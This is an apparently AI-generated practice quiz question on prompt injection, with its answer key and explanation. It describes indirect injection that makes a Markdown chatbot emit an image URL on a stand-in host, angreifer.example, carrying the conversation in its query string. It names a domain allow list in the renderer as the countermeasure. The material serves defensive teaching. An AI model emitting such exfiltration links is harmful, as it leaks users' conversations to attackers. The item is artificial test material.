Prompt Injection · Question 12 of 12

A chatbot renders answers as Markdown. Through indirect prompt injection, an attacker makes the model output an image with the address https://angreifer.example/p.png?d=<conversation content>. Which countermeasure is most effective?

1 answer is correct. Hard Created with AI

Show answer

Answer

  • A Loading or rendering images and links in output only from approved domains

Explanation

The browser loads the image automatically and in doing so sends the data in the address to the attacker. A domain allow list in the renderer breaks this path regardless of whether the model was deceived. HTTPS only protects the transmission, not against the wrong recipient.

Certifications & exams

Which exam comes next?

You can already practise for 60 exams, and 7 are up for a vote. See all certifications with their official information, cast your vote or suggest your exam.

See all certifications